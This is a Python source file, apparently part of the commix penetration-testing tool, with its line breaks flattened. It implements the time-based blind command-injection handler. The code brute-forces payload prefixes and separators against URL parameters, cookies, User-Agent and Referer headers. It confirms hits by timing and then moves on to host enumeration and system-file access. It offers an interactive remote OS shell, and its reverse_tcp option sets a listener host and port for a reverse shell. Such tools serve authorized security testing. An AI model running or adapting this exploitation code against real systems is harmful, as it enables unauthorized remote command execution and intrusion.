def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): percent = 0 counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False export_injection_info = False how_long = 0 injection_type = "Blind Command Injection" technique = "time-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL percent = str(percent) + "%" sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Log previous 'how_long' for later comparison previous_how_long = how_long if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not menu.options.verbose: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if how_long == previous_how_long + delay: # Time relative false positive fixation. if len(TAG) == output_length: tmp_how_long = how_long randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 cmd = "(" + str(randv1) + "+" + str( randv2) + ")" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long) if str(tmp_how_long) == str(how_long) and \ str(output) == str(randvcalc) and \ len(TAG) == output_length: is_vulnerable = True if not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: continue else: percent = str(float_percent) + "%" if not menu.options.verbose: sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break # Yaw, got shellz! # Do some magic tricks! if how_long == previous_how_long + delay: if (len(TAG) == output_length) and (is_vulnerable == True): found = True no_result = False is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " Cookie" found_vuln_parameter = vuln_parameter the_type = " HTTP header" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 # Print the findings to terminal. print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: enumerate_again = raw_input( "\n(?) Do you want to enumerate again? [Y/n/q] > " ).lower() if enumerate_again in settings.CHOISE_YES: tb_enumeration.do_check( separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) break elif enumerate_again in settings.CHOISE_NO: break elif enumerate_again in settings.CHOISE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL pass else: tb_enumeration.do_check( separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: file_access_again = raw_input( "(?) Do you want to access files again? [Y/n/q] > " ).lower() if file_access_again in settings.CHOISE_YES: tb_file_access.do_check( separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) break elif file_access_again in settings.CHOISE_NO: break elif file_access_again in settings.CHOISE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL pass else: tb_file_access.do_check( separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) # Exploirt injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break gotshell = raw_input( "(?) Do you want a Pseudo-Terminal? [Y/n/q] > " ).lower() if gotshell in settings.CHOISE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" while True: try: # Tab compliter readline.set_completer( menu.tab_completer) readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: return False elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n" elif os_shell_option == "reverse_tcp": # Set up LHOST / LPORT for The reverse TCP connection. lhost, lport = reverse_tcp.configure_reverse_tcp( ) while True: if lhost and lport in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( lhost) else: cmd = reverse_tcp.reverse_tcp_options( lhost, lport) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[ 0] response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG) # Exploirt injection result if menu.options.verbose: print "" print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL else: pass else: print "" # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename) # Exploirt injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOISE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOISE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL pass break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()